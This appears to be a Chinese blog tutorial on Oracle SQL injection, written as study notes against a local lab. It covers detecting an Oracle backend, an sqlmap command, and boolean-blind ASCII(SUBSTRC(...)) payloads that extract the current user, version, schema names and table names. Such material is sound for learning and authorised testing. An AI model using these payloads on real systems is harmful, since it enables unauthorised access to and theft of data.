18965天

Oracle注入初体验

发布于 6个月前 / 228 次围观 / 2 条评论 / 学习笔记 / JunMo

0x01环境搭建

参考以下文章

https://fengwenhua.top/index.php/archives/39/

 

0x02基础知识

参考以下文章

https://xz.aliyun.com/t/7897

主要内容

  1. Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。
  2. Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
  3. Oracle的单行注释符号是--,多行注释符号/**/。

 

0x03判断数据库类型

  1. oracle 支持– 类型注释,但是不支持;分隔执行多语句,oracle 有很多系统表,譬如user_tables,通过对这些表的访问也可以判断出是否属于oracle
  2. oracle 里的一些函数也可以用来判断,譬如utl_http.request 这些,语言上的小细节也可以用来区分系统,譬如在oracle 里|| 是连接符号,但是在其他数据库里就不是了,所以 and chr(123) || chr(123) = chr(123) || chr(123)这样的,如果可以顺利执行,那么就基本应该是oracle 了。
  3. Orcale 数据库报错一般以ORA-开头,所以看见这个也可以确认是Oracle.

0x04布尔型

  • 判断注入

数字型可通过运算来判断

/1  /0  *1 *0  -1 -0

True

M`~73}H43(G$0{$(3XCH6GY.png

False

8AJ202VXY97U)S{S_2UOS0E.png

 

也通过逻辑运算来判断,这里不推荐使用or来判断因为如果是delete的话会将所有数据删除

and 1=2   or 1=1    and chr(123) || chr(123) = chr(123) || chr(123)

GR3AXO9}K`]FQC{(S@BDCVW.png

字符型判断也大同小异

  • 获取数据

这里我以获取用户名为例,使用sqlmap跑用户名查看sqlmap使用的语句

sqlmap -u "http://127.0.0.1:8090/?id=3" -p id --dbms oracle --technique B -v 3 --no-escape  --current-user  --no-cast

QV4)0{D{8GDSI~1(MGI6OT8.png

可以得到以下payload,通过一位一位截取判断

AND ASCII(SUBSTRC((SELECT USER FROM DUAL),1,1))=100

我们只需要修改SUBSTRC函数内的语句即可  如:获取数据库版本

AND ASCII(SUBSTRC((SELECT version FROM v$instance),1,1))>10
  • 获取数据库版本
SELECT banner FROM v$version WHERE ROWNUM=1
SELECT version FROM v$instance;
  • 获取数据库

获取数据库个数

SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES  

sqlmap使用语句

AND ASCII(SUBSTRC((SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES),1,1))>51

获取数据库名

SELECT OWNER FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE LIMIT=1

sqlmap使用语句

AND ASCII(SUBSTRC((SELECT OWNER FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE LIMIT=1),1,1))>64
  • 获取数据表

获取指定数据库的表语句

SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='PENTEST'

sqlmap使用语句

SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER='PENTEST') WHERE LIMIT=1

KA~_6CWE77BGQJ3WP[V@U8R.png

AND ASCII(SUBSTRC((SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER='PENTEST') WHERE LIMIT=1),2,1))>64
  • 获取数据

首先获取数据条数

SELECT COUNT(*) FROM PENTEST.USERS

最后注入爆数据跟mysql都是一样的,知道表名和列名直接select就行了

 

 

其他注入方式有时间在补充

未显示?请点击刷新
  1. 1个月前 (10-28)
    @
    ChuMu

    三个六

  2. 6个月前 (06-13)
    @
    dafeibian

    大lao666ddddQAQ